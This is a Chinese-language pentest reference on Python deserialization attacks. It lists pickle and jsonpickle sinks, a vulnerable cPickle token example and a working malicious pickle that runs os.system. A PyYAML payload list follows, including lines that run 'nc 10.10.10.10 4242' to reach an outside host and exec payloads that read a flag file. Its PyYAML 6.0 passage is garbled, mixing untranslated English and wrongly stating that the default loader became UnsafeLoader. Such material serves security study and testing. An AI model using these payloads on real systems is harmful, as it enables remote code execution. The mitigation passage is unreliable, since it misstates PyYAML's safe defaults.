Python 反序列化

Python 反序列化是指从序列化数据中重建 Python 对象的过程，通常使用 JSON、pickle 或 YAML 等格式来实现。在 Python 中，pickle 模块是常用的工具，因为它可以对包括自定义类在内的复杂 Python 对象进行序列化和反序列化。

概要

• 工具
• 方法论
  • Pickle
  • PyYAML
• 参考文献

工具

• j0lt-github/python-deserialization-attack-payload-generator - 用于针对基于 Python 的应用程序的反序列化 RCE 攻击的序列化有效载荷，这些应用程序使用 pickle、PyYAML、ruamel.yaml 或 jsonpickle 模块来反序列化序列化数据。

方法论

在 Python 源代码中，查找以下“接收点”：

• cPickle.loads
• pickle.loads
• _pickle.loads
• jsonpickle.decode

Pickle

以下代码是一个简单的示例，展示了如何使用 cPickle 来生成一个 auth_token，该 token 是一个序列化的 User 对象。
⚠️ import cPickle 仅适用于 Python 2

import cPickle
from base64 import b64encode, b64decode

class User:
    def __init__(self):
        self.username = "anonymous"
        self.password = "anonymous"
        self.rank     = "guest"

h = User()
auth_token = b64encode(cPickle.dumps(h))
print("Your Auth Token : {}").format(auth_token)
​

当从用户输入加载 token 时，就会引入漏洞。

new_token = raw_input("New Auth Token : ")
token = cPickle.loads(b64decode(new_token))
print "Welcome {}".format(token.username)
​

Python 2.7 文档明确指出，pickle 绝不能与不可信来源一起使用。让我们创建一段恶意数据，它将在服务器上执行任意代码。

pickle 模块无法防范错误或恶意构造的数据。绝不要反序列化来自不可信或未经身份验证的来源的数据。

import cPickle, os
from base64 import b64encode, b64decode

class Evil(object):
    def __reduce__(self):
        return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)
​

PyYAML

YAML 反序列化是指将 YAML 格式的数据转换回 Python、Ruby 或 Java 等编程语言中的对象的过程。YAML（YAML Ain't Markup Language）因其人类可读性以及对复杂数据结构的支持，而广泛用于配置文件和数据序列化。

!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
​

!!python/object/apply:subprocess.Popen
- ls
​

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
  state:
    update: !!python/name:exec
​

自 PyYaml 6.0 版本起，load has been switched to SafeLoader mitigating the risks against Remote Code Execution. PR #420 - Fix

The vulnerable sinks are now yaml.unsafe_load and yaml.load(input, Loader=yaml.UnsafeLoader) 的默认加载器已更改为 yaml.UnsafeLoader。

with open('exploit_unsafeloader.yml') as file:
        data = yaml.load(file,Loader=yaml.UnsafeLoader)
​

参考文献

• CVE-2019-20477 - PyYAML 5.1.2 及其以下版本中的 0Day YAML 反序列化攻击 - Manmeet Singh (@_j0lt) - 2020 年 6 月 21 日
• 利用 Python 的 "pickle" 的误用 - Nelson Elhage - 2011 年 3 月 20 日
• Python Yaml 反序列化 - HackTricks - 2024 年 7 月 19 日
• PyYAML 文档 - PyYAML - 2006 年 4 月 29 日
• Python 中的 YAML 反序列化攻击 - Manmeet Singh & Ashish Kukret - 2021 年 11 月 13 日

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